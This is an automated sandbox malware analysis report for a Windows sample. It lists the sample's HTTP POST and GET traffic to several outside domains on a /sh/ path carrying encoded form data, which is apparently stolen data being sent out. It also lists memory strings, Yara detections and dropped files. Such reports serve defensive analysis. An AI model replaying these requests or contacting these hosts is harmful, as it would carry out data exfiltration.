Automated Malware Analysis Report for bXdiOPDmyZ.exe - Generated by Joe Sandbox\nSource: global traffic HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.poyik.comConnection: closeContent-Length: 141254Cache-Control: no-cacheOrigin: http://www.poyik.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.poyik.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 72 45 5a 71 34 48 35 30 6d 6b 36 35 39 62 77 30 65 2d 4e 56 31 77 62 45 52 77 61 31 31 64 73 33 36 44 57 4f 57 69 6a 6d 66 68 79 68 51 4e 56 39 6e 69 75 36 4f 49 68 78 77 31 62 70 77 79 75 52 67 6d 78 67 68 59 33 63 38 74 38 36 61 73 4f 6f 61 58 32 4d 59 72 36 69 77 6c 43 79 6f 78 6c 6a 35 47 55 68 73 6b 50 5f 72 50 74 6a 78 39 76 59 7a 4b 43 64 7e 46 36 7a 4a 65 43 33 59 66 34 32 75 34 4a 6d 4a 5a 48 64 69 4f 65 55 77 4f 64 44 4e 78 79 79 30 51 66 35 43 78 6d 33 57 55 74 7a 77 6b 48 41 41 41 59 4b 6c 37 41 67 39 6a 6d 5f 63 61 4d 67 73 38 52 32 36 58 4f 37 66 33 78 42 4e 79 4c 74 73 35 28 43 51 66 5a 35 38 50 31 66 77 59 33 51 62 39 30 36 32 6f 74 52 53 61 6e 54 35 31 74 63 64 52 4f 79 50 34 6f 74 74 6d 46 5a 42 43 54 76 73 54 4b 69 7e 74 50 56 65 36 34 6a 74 79 71 34 48 65 36 70 4c 32 69 67 68 36 33 42 4b 31 32 52 49 5f 6b 57 4e 54 62 36 46 51 48 54 75 33 54 32 59 58 38 42 63 67 59 6f 30 51 28 74 59 34 47 66 57 4f 43 4f 4f 30 56 33 30 73 6e 6f 4d 71 44 33 48 51 51 57 73 61 57 32 76 77 39 75 55 72 4b 38 36 6d 77 62 74 4b 39 44 31 57 70 79 51 35 38 45 34 58 6e 74 44 35 38 43 5a 71 6b 6d 71 46 70 63 65 76 61 4a 4f 43 57 76 73 68 65 63 53 76 6a 76 74 38 41 73 66 63 55 2d 58 34 39 2d 62 54 52 69 49 31 79 37 5a 37 7e 4d 6a 6d 50 73 58 69 77 4a 5a 75 33 44 43 34 31 63 43 44 45 75 33 48 4f 5a 69 49 38 55 65 74 6f 76 68 75 28 73 75 78 6b 37 52 63 59 43 68 6b 77 69 46 59 64 45 63 35 68 78 43 34 38 30 6f 4e 39 74 64 66 33 6b 59 6d 41 68 33 63 59 68 50 4b 5a 51 6a 5f 4d 42 34 4a 65 5f 42 74 52 51 28 62 6d 75 51 31 4c 62 6a 5a 58 55 6a 4f 35 47 65 38 63 6b 6a 66 6b 67 4a 6e 42 62 50 4b 77 4d 4d 6a 59 35 51 73 4e 77 30 71 41 5a 47 44 44 73 43 76 5a 54 48 54 48 5a 49 30 47 47 47 6d 64 51 76 6a 52 64 52 78 56 5a 6e 46 56 49 79 72 7e 61 6e 64 45 34 7a 4e 6c 70 4a 43 44 34 46 75 6b 53 7a 46 6a 4a 73 79 34 69 72 64 6c 33 46 69 70 4f 4e 70 56 46 36 73 77 56 71 77 79 52 59 5a 6d 36 62 57 59 79 6f 70 42 6c 31 58 32 35 7a 4e 69 5a 62 43 53 76 4e 71 79 45 4e 79 28 34 34 76 7a 6f 56 38 7e 4c 75 56 56 4a 6c 64 50 6e 57 74 75 6a 28 30 64 5a 42 38 6f 66 48 61 46 4c 6f 72 59 44 75 61 61 65 7e 71 6f 31 6b 50 79 59 61 70 77 77 6f 35 42 65 41 51 74 61 30 75 4e 72 67 53 33 6d 61 39 70 52 4f 68 64 5f 39 34 69 63 52 62 65 4b 71 61 54 66 45 4e 65 35 41 35 50 68 58 49 56 51 73 51 57 68 7a 68 62 54 51 7a 62 63 61 4d 75 45 64 66 71 55 67 30 4e 6f 34 76 31 77 31 39 53 5f 7a 63 68 48 56 6d 77 47 4f 44 31 59 35 44 69 57 4e 59 44 69 74 6e 32 6e 47 62 61 57 71 6d 4f 44 52 4a 4b 71 72 31 31 74 79 6e 56 74 65 33 59 67 71 64 36 6d 37 78 4f 74 6b 65 6d 44 31 54 73 46 4e 6e 65 78 72 6b 45 41 75\nSource: global traffic HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.zabierzowska.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.zabierzowska.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.zabierzowska.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 44 32 64 47 68 4c 77 4f 59 42 79 6f 64 6f 73 57 52 33 35 4c 7a 36 6f 51 45 6f 6b 4f 69 4c 7a 4f 49 66 49 79 70 47 41 56 6c 55 77 63 71 6b 4d 54 56 64 47 45 45 56 7a 57 55 62 41 76 78 43 6f 5a 75 4c 62 75 76 49 51 47 32 49 42 49 35 44 32 6f 6e 5f 75 4c 5a 38 37 78 4b 59 68 66 73 70 4c 37 34 4e 35 6c 68 34 4b 75 55 4e 72 76 46 68 59 45 4b 68 70 4c 32 4f 79 72 56 39 63 2d 48 70 37 36 59 30 38 41 64 51 52 65 6b 74 6a 61 74 7a 5a 4b 72 73 69 56 46 31 34 4d 6d 39 33 61 75 49 58 35 78 59 6b 79 54 6f 75 73 70 38 69 43 38 71 79 46 77 79 6c 55 54 65 67 49 75 4d 42 43 39 59 5a 2d 48 4b 42 66 51 4d 61 43 6f 6d 79 66 6d 49 4e 78 4e 74 62 57 59 69 6f 4a 63 57 45 46 67 6b 76 79 6d 34 4d 6a 31 56 72 4c 53 6a 61 34 77 39 72 68 28 49 43 64 6a 67 44 77 6c 58 71 7a 71 6a 76 35 74 30 62 75 6d 66 30 78 7e 63 6c 49 38 34 77 6c 44 54 6e 4a 4a 4f 4c 5a 76 6a 51 61 63 74 6e 37 68 46 70 2d 6a 61 72 6b 33 5f 44 57 46 69 55 35 69 4a 47 39 6c 75 64 35 70 66 57 75 43 63 54 35 39 35 72 36 49 71 46 68 70 41 32 63 32 4a 52 35 73 61 67 4b 62 4c 36 55 63 2d 44 30 69 35 71 78 42 4c 64 6e 74 50 47 69 43 66 4e 63 69 4f 35 66 66 67 66 6d 4a 4f 56 4c 30 30 76 42 46 64 54 65 66 6b 5a 49 54 48 41 57 48 6f 54 4b 38 6f 47 66 53 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 8pFL=D2dGhLwOYByodosWR35Lz6oQEokOiLzOIfIypGAVlUwcqkMTVdGEEVzWUbAvxCoZuLbuvIQG2IBI5D2on_uLZ87xKYhfspL74N5lh4KuUNrvFhYEKhpL2OyrV9c-Hp76Y08AdQRektjatzZKrsiVF14Mm93auIX5xYkyTousp8iC8qyFwylUTegIuMBC9YZ-HKBfQMaComyfmINxNtbWYioJcWEFgkvym4Mj1VrLSja4w9rh(ICdjgDwlXqzqjv5t0bumf0x~clI84wlDTnJJOLZvjQactn7hFp-jark3_DWFiU5iJG9lud5pfWuCcT595r6IqFhpA2c2JR5sagKbL6Uc-D0i5qxBLdntPGiCfNciO5ffgfmJOVL00vBFdTefkZITHAWHoTK8oGfSQ).\nSource: global traffic HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.zabierzowska.comConnection: closeContent-Length: 141254Cache-Control: no-cacheOrigin: http://www.zabierzowska.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.zabierzowska.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 44 32 64 47 68 4b 6f 38 61 78 28 6b 58 36 45 46 65 46 56 6d 39 36 55 53 42 72 77 6a 76 37 4b 33 49 49 59 69 70 46 59 52 38 41 55 43 37 55 63 54 54 59 71 39 51 6c 7a 56 63 37 41 77 31 43 6b 74 77 4d 48 32 76 4a 6b 34 32 49 4a 4c 77 68 76 44 67 76 75 63 59 63 32 41 64 49 30 4e 73 73 4c 65 34 75 55 67 30 49 47 75 5a 64 7a 74 59 77 49 68 61 7a 4e 49 6f 76 65 71 47 39 30 64 48 36 4f 50 62 54 67 69 61 56 4a 63 6a 64 62 46 7a 6d 52 79 75 2d 43 67 4c 46 38 48 34 4f 4c 33 6a 4a 4b 2d 77 5a 6c 52 63 4a 75 76 33 63 61 41 70 5a 72 34 31 44 68 74 56 4f 51 32 75 4d 35 34 6c 36 4d 79 44 4e 4a 58 54 35 75 34 6e 30 43 6e 70 5a 4e 35 62 59 4f 77 61 69 34 32 41 6e 31 42 73 55 44 6a 6c 39 41 7a 78 41 4c 65 58 58 4b 6b 6f 5f 79 49 37 66 61 56 75 41 7a 50 6f 30 37 31 28 6a 50 78 7e 42 72 59 34 50 31 6c 38 63 6c 45 30 59 42 61 56 51 4b 45 4a 61 50 6a 76 67 67 4e 53 65 79 39 69 44 70 41 7e 49 44 66 77 4e 44 53 4f 33 59 52 79 75 7e 4d 6a 64 42 4e 32 50 57 44 66 4f 72 49 39 35 71 46 49 76 35 66 70 30 7e 63 32 64 4e 54 74 35 34 4f 5a 4c 36 56 50 65 7a 36 70 72 50 71 42 4c 56 6e 73 5f 32 59 54 34 70 63 78 73 68 59 52 6c 72 6d 49 65 56 4c 34 55 76 52 55 5f 69 68 61 45 51 47 62 6d 31 6a 59 38 75 62 76 63 48 36 41 43 55 66 6d 43 68 6f 6b 65 4b 5f 33 32 62 6d 43 31 6d 74 33 39 48 6e 59 6f 32 36 78 55 6b 42 53 5a 78 42 6d 77 68 48 57 4b 64 39 79 4e 34 36 46 47 66 5a 66 39 77 44 73 4d 6a 42 54 51 48 53 42 6a 28 63 44 62 6e 43 73 63 6e 62 69 35 64 49 4c 2d 78 6c 34 68 76 59 50 35 72 42 50 7a 72 5a 78 68 55 4a 4f 4f 38 63 4d 58 32 34 66 32 45 4a 34 30 41 32 52 6c 53 49 73 4a 35 58 69 69 41 46 43 67 31 79 39 4a 77 50 43 62 67 59 72 50 58 44 47 70 6e 5a 64 2d 6a 70 65 5f 71 4d 77 58 52 42 6e 54 34 30 68 57 38 51 6f 57 75 62 76 63 37 64 51 7a 30 2d 38 6d 79 4f 72 69 65 57 61 73 6a 72 74 6f 78 58 67 53 32 6d 4e 61 51 59 31 45 55 51 42 77 65 68 7e 6c 77 32 48 36 54 69 35 4d 54 39 54 4a 30 48 61 71 4f 6a 43 77 4a 4e 4e 65 4c 56 47 5f 4d 44 33 62 67 4c 47 36 72 39 41 2d 47 6e 4e 6b 28 4d 71 4d 6d 78 63 61 67 6a 4d 71 6d 6a 62 46 6b 32 50 47 56 6e 47 44 4e 42 4d 54 67 68 43 6f 55 64 4e 52 56 79 74 4f 6e 5a 79 7a 61 74 58 38 6a 56 68 6a 79 4d 74 77 63 31 4b 62 54 76 4a 49 36 34 28 71 67 64 6d 62 50 4a 41 47 28 61 35 63 44 65 48 5a 50 62 6d 79 48 4d 6f 68 79 51 78 2d 39 2d 56 6c 6f 4c 54 6f 78 6d 44 56 62 56 33 39 64 43 65 53 69 37 32 7a 6a 33 6e 44 28 75 6d 53 55 38 39 54 52 7a 4d 6a 73 4d 42 39 63 70 41 7a 30 78 30 64 59 58 69 32 4c 58 79 76 46 43 28 4d 30 4f 70 72 4c 74 66 39 59 4a 41 4d 7a 62 79 4b 48 50 4f 73 46 61 65 72 47 32 42 45 32 79 6d 61 52 64 51 4c 32 5f 31 42\nSource: global traffic HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.worldinnovativesolutions.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.worldinnovativesolutions.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.worldinnovativesolutions.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 67 67 59 47 30 45 68 37 7a 67 33 4c 68 73 4e 50 50 43 74 5f 68 65 74 4c 66 5f 4a 4d 36 66 6b 31 58 74 31 76 32 32 38 6c 6d 72 79 67 55 66 4a 78 69 61 65 73 64 77 43 49 4b 77 32 62 46 36 28 73 63 39 72 68 67 70 49 48 4e 6d 4b 76 31 5a 51 2d 34 7a 54 31 32 77 30 7a 4a 63 5a 79 28 35 74 70 68 37 6f 75 36 79 52 6c 47 37 71 72 38 63 57 57 53 53 45 47 32 4d 70 58 61 61 66 75 34 30 67 44 37 68 44 6c 75 32 43 64 69 4f 57 41 76 36 72 71 36 37 28 6a 4c 41 4e 76 61 5a 76 45 41 52 66 7a 67 6e 64 59 76 76 42 68 6a 50 42 75 78 64 58 37 63 44 52 35 6e 6e 4d 44 6c 39 74 6e 6b 50 76 58 73 78 79 50 36 4e 68 68 72 56 34 49 33 74 5a 56 42 77 73 47 4a 55 36 50 73 48 63 6e 35 69 59 72 37 74 78 31 37 30 48 56 4b 59 61 34 44 75 51 34 46 63 68 64 38 44 57 5a 53 4c 5a 30 6e 72 42 4b 52 41 6e 78 4d 51 73 54 31 54 63 73 53 32 6d 4c 7a 37 62 4f 6f 44 63 51 74 31 76 54 33 53 36 72 6e 35 64 46 73 51 64 76 59 44 36 34 73 55 44 78 30 44 6d 6b 50 52 71 54 36 4c 28 51 37 38 42 54 74 4f 53 37 55 71 47 37 69 38 51 51 4c 6e 57 33 79 50 45 6f 46 56 5a 79 50 47 50 5f 66 4b 75 4b 61 34 37 43 4b 56 7a 5f 58 58 39 4a 78 58 34 6c 47 47 47 46 4f 49 67 49 37 5a 71 58 71 71 77 64 71 33 4e 37 67 44 4d 38 33 67 78 69 46 6e 38 37 55 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 8pFL=ggYG0Eh7zg3LhsNPPCt_hetLf_JM6fk1Xt1v228lmrygUfJxiaesdwCIKw2bF6(sc9rhgpIHNmKv1ZQ-4zT12w0zJcZy(5tph7ou6yRlG7qr8cWWSSEG2MpXaafu40gD7hDlu2CdiOWAv6rq67(jLANvaZvEARfzgndYvvBhjPBuxdX7cDR5nnMDl9tnkPvXsxyP6NhhrV4I3tZVBwsGJU6PsHcn5iYr7tx170HVKYa4DuQ4Fchd8DWZSLZ0nrBKRAnxMQsT1TcsS2mLz7bOoDcQt1vT3S6rn5dFsQdvYD64sUDx0DmkPRqT6L(Q78BTtOS7UqG7i8QQLnW3yPEoFVZyPGP_fKuKa47CKVz_XX9JxX4lGGGFOIgI7ZqXqqwdq3N7gDM83gxiFn87Uw).\nSource: global traffic HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.worldinnovativesolutions.comConnection: closeContent-Length: 141254Cache-Control: no-cacheOrigin: http://www.worldinnovativesolutions.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.worldinnovativesolutions.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 67 67 59 47 30 42 45 4b 28 77 36 54 6b 65 6b 39 4d 77 68 61 75 65 35 4e 61 34 52 68 7a 6f 52 54 4a 4f 77 30 32 33 73 68 28 66 58 35 65 66 35 78 6b 5a 32 52 4a 67 43 50 62 67 32 59 42 36 43 46 52 4b 65 69 67 6f 4d 39 4e 67 53 73 76 75 67 5f 37 6a 54 6d 33 51 6f 6c 59 38 4e 70 28 5f 74 36 68 66 4d 32 28 79 4e 6c 59 66 7e 70 35 39 47 4e 52 54 34 4e 28 64 46 57 59 62 6e 33 34 44 35 38 70 79 7e 41 6e 58 4f 44 7a 4e 4b 66 6a 61 62 47 7e 71 6e 6d 46 77 5a 6f 66 65 6e 62 64 43 72 6f 6e 6d 64 6d 79 65 41 54 70 66 5a 30 32 64 6e 4a 4f 43 55 4e 38 58 63 39 6c 2d 64 52 7e 73 36 52 37 48 32 39 35 35 49 36 6a 47 30 47 71 4d 5a 4e 46 7a 45 52 4c 55 4b 67 30 31 45 73 39 32 52 76 36 65 4a 6c 6a 77 4c 59 49 73 71 6b 58 76 4d 4d 49 76 74 56 6a 53 6d 32 62 71 41 75 38 4c 67 46 51 7a 4b 65 43 51 74 33 33 54 63 77 47 6d 32 6a 69 59 32 43 71 53 73 75 74 30 33 45 75 78 7e 49 71 62 70 33 69 56 78 55 61 32 57 6b 30 57 37 5a 6c 79 69 6a 4a 69 32 5a 30 72 28 78 28 35 56 69 74 4f 53 33 55 72 47 42 6a 4e 45 51 4c 33 33 73 79 75 45 6b 44 56 59 6f 44 32 28 68 47 49 37 50 61 38 58 43 4c 67 50 52 57 6d 6c 4a 31 46 77 6d 47 6b 75 46 50 59 67 49 33 35 71 41 6d 5f 52 47 6c 58 42 70 70 43 6c 43 77 67 56 31 4d 31 67 31 49 33 77 50 46 66 76 58 4f 43 34 50 46 4e 59 61 49 66 61 49 6a 52 6f 42 50 4d 41 52 7a 53 32 56 79 33 4c 46 70 66 30 74 30 6d 30 54 4d 72 32 35 39 38 5a 4b 79 55 72 4c 70 45 61 75 4b 35 56 5f 39 71 41 4f 70 79 77 43 4f 54 69 6d 48 70 52 67 55 45 34 57 48 53 28 32 4d 4c 49 37 34 36 78 67 34 32 44 76 56 46 42 54 37 46 76 55 6d 71 78 71 37 51 64 6a 71 74 63 77 32 35 4d 77 6b 65 41 31 4f 57 38 46 66 47 75 53 34 2d 32 6f 75 33 6c 42 61 51 6e 4e 35 44 77 72 43 45 6b 48 4d 37 4f 78 49 36 76 37 4e 30 46 34 6e 47 5a 78 54 64 6a 75 68 6e 69 66 32 70 67 49 65 79 4f 76 66 33 61 68 41 37 7a 74 49 41 73 32 6b 4b 62 6c 34 45 54 79 52 52 6f 6b 52 57 58 7a 57 4b 41 33 32 4a 43 32 58 39 66 61 4f 51 49 32 72 66 6d 62 6b 4d 6d 47 77 56 51 4b 59 68 39 35 62 30 52 31 56 6f 37 77 4b 6d 55 4b 79 6b 33 46 6f 63 5a 39 67 33 6a 68 38 5a 4a 6e 64 72 64 73 63 6b 55 53 67 6f 47 30 64 32 4d 63 59 78 75 32 66 48 6f 62 68 5f 43 71 4d 67 4f 42 6f 47 4a 71 45 63 47 6a 4a 30 48 37 6b 6e 7a 75 68 5f 6c 32 65 31 49 75 74 36 4c 4e 68 35 52 4a 57 65 4a 35 72 69 4a 73 78 48 53 58 4c 67 58 69 70 75 74 4c 49 57 44 56 71 4f 74 4f 62 70 41 4e 58 5a 6b 42 35 38 63 38 70 76 62 46 62 6e 55 58 54 64 49 54 59 6d 68 65 33 61 34 64 67 30 36 34 64 69 52 62 5a 61 56 4a 7a 74 4b 47 4b 48 6b 49 7e 57 67 70 5a 66 7e 4a 72 55 52 39 38 2d 43 58 7e 4e 57 32 61 34 75 4a 55 53\nSource: global traffic HTTP traffic detected: GET /sh/?ers=Ml54sjKpKXO8nzrP&8pFL=5GGoshPm8DtXJbtv0j0CpM0ZScDouSGJSOqUOJNMNiXSV7FSaO+82pviX4ynrFwNCgG8 HTTP/1.1Host: www.abblaster.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:\nSource: global traffic HTTP traffic detected: GET /sh/?ers=Ml54sjKpKXO8nzrP&8pFL=jmVQmi4sjS7ih7V2IoNMh1SkeFqY0dJymV2JACzQPE/qHepWmAmodPcElCzP+DKsrkIQ HTTP/1.1Host: www.poyik.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:\nSource: global traffic HTTP traffic detected: GET /sh/?8pFL=LUR8/txceBDtIKNXLiQMutYOIYoLpa/yZvZq3kQ0sBAXqAM4bNfHWEKMD4Yt5BclzbK7&ers=Ml54sjKpKXO8nzrP HTTP/1.1Host: www.zabierzowska.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:\nSource: global traffic HTTP traffic detected: GET /sh/?8pFL=oCU8qkR86wHM4cE0Nkw8zeB5R9pLzrdrR6drjm45vOC9QNVBuIjVP0TQIAKENpCxedHo&ers=Ml54sjKpKXO8nzrP HTTP/1.1Host: www.worldinnovativesolutions.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:\nSource: unknown DNS traffic detected: queries for: www.ugrejr.win\nSource: unknown HTTP traffic detected: POST /sh/ HTTP/1.1Host: www.poyik.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.poyik.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.poyik.com/sh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 38 70 46 4c 3d 72 45 5a 71 34 47 78 4b 72 30 50 68 35 6f 49 64 65 73 67 44 7e 78 33 47 55 33 79 6d 38 75 52 4f 7a 77 54 4c 57 69 54 71 47 31 28 75 48 74 6c 39 32 51 48 79 57 34 68 79 30 46 62 75 30 79 69 35 69 32 4a 6f 68 63 6e 32 38 74 30 39 56 4e 66 73 61 48 33 4d 59 4c 48 58 68 30 6e 75 6f 30 6c 47 35 6b 59 44 67 45 7a 5f 30 72 4a 68 31 63 28 35 36 72 4f 6b 67 46 6d 38 50 66 37 6e 62 6f 77 6b 38 61 31 51 49 63 66 62 6d 38 44 59 7e 76 74 6e 4a 6a 53 39 72 51 4c 69 48 77 6a 7a 54 33 35 33 78 56 48 49 45 78 59 4e 73 72 59 75 78 42 7e 5a 4a 34 38 56 75 76 5a 69 36 57 48 4f 45 55 56 74 62 44 48 6c 72 59 79 6e 4a 36 35 37 77 65 31 48 36 2d 6a 48 55 64 6b 56 35 4d 39 42 58 4b 62 38 33 58 55 5a 41 6c 71 6a 63 36 4d 78 6c 79 41 35 4d 7a 47 69 7a 6d 44 77 37 71 53 44 55 4a 41 72 75 77 48 52 4a 65 37 50 4a 32 69 38 70 62 4c 31 41 6b 7e 61 63 65 55 30 4e 51 37 68 51 78 76 77 74 79 54 69 57 53 51 51 65 52 77 73 73 53 48 52 49 62 72 64 65 63 65 75 4b 30 56 73 77 75 50 6a 4d 71 44 37 48 52 51 38 74 75 65 32 76 67 64 39 55 4e 43 77 34 6d 77 38 72 61 73 46 73 55 74 69 51 35 6b 45 7e 31 50 44 43 4b 4d 43 50 6f 51 68 6b 45 70 63 54 5f 61 4a 43 69 58 49 6b 51 66 35 56 4f 28 55 6a 4a 77 2d 61 36 35 5a 66 35 45 31 47 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 8pFL=rEZq4GxKr0Ph5oIdesgD~x3GU3ym8uROzwTLWiTqG1(uHtl92QHyW4hy0Fbu0yi5i2Johcn28t09VNfsaH3MYLHXh0nuo0lG5kYDgEz_0rJh1c(56rOkgFm8Pf7nbowk8a1QIcfbm8DY~vtnJjS9rQLiHwjzT353xVHIExYNsrYuxB~ZJ48VuvZi6WHOEUVtbDHlrYynJ657we1H6-jHUdkV5M9BXKb83XUZAlqjc6MxlyA5MzGizmDw7qSDUJAruwHRJe7PJ2i8pbL1Ak~aceU0NQ7hQxvwtyTiWSQQeRwssSHRIbrdeceuK0VswuPjMqD7HRQ8tue2vgd9UNCw4mw8rasFsUtiQ5kE~1PDCKMCPoQhkEpcT_aJCiXIkQf5VO(UjJw-a65Zf5E1Gw).\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com\nSource: explorer.exe, 00000003.00000000.1096451624.0000000003230000.00000004.00000001.sdmp String found in binary or memory: http://ns.microsoftom/photo/1.2/tD\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eas/sc/2b/a5ea21.ico=c\nSource: explorer.exe, 00000003.00000002.2705151023.00000000030D0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://www.msn.com/?ocid=iehp\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp%\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehpG\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://www.msn.com/de-ch/ocid=iehp\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: http://www.msn.com/ocid=iehpk\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD\nSource: cmmon32.exe, 00000004.00000002.2706016664.0000000004A59000.00000004.00000001.sdmp String found in binary or memory: http://www.worldinnovativesolutions.com\nSource: cmmon32.exe, 00000004.00000002.2706016664.0000000004A59000.00000004.00000001.sdmp String found in binary or memory: http://www.worldinnovativesolutions.com/sh/\nSource: explorer.exe, 00000003.00000000.1113021283.000000000B2B6000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn\nSource: cmmon32.exe, 00000004.00000002.2706167615.0000000004D4F000.00000004.00000001.sdmp String found in binary or memory: https://wis-consultancy.com/sh/?8pFL=oCU8qkR86wHM4cE0Nkw8zeB5R9pLzrdrR6drjm45vOC9QNVBuIjVP0TQIAKENpC\nSource: cmmon32.exe, 00000004.00000002.2701122900.00000000001C8000.00000004.00000020.sdmp String found in binary or memory: https://www.msn.com/spartan/ientplocale=en-US&market=US&enableregulatorypsm=0&enablecpsm=0&NTLogo=1&\nSource: bXdiOPDmyZ.exe, 00000000.00000002.1091450755.000000000061A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>\nSource: Yara match File source: 00000002.00000002.1135356975.0000000003E54000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000013.00000002.1553095151.00000000003A0000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000012.00000002.1553595966.0000000003F04000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000012.00000002.1549846475.0000000000401000.00000020.00020000.sdmp, type: MEMORY\nSource: Yara match File source: 00000004.00000002.2701515168.00000000006D0000.00000004.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000012.00000002.1552830718.0000000002CE0000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000002.00000002.1132089872.0000000000401000.00000020.00020000.sdmp, type: MEMORY\nSource: Yara match File source: 00000004.00000002.2701977232.0000000000940000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000002.00000002.1134592237.0000000002AF0000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000012.00000002.1550979409.0000000002240000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 00000002.00000002.1133021298.00000000020C0000.00000040.00000001.sdmp, type: MEMORY\nSource: Yara match File source: 2.2.bXdiOPDmyZ.exe.400000.0.unpack, type: UNPACKEDPE\nSource: Yara match File source: 18.2.ntbhcfw6lm.exe.400000.0.unpack, type: UNPACKEDPE\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Dropped file: C:\_Users\_user\_AppData\_Roaming\_O-979P0E\_O-9logri.ini Jump to dropped file\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Dropped file: C:\_Users\_user\_AppData\_Roaming\_O-979P0E\_O-9logrf.ini Jump to dropped file\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Dropped file: C:\_Users\_user\_AppData\_Roaming\_O-979P0E\_O-9logrv.ini Jump to dropped file\nSource: 00000002.00000002.1135356975.0000000003E54000.00000040.00000001.sdmp, type: 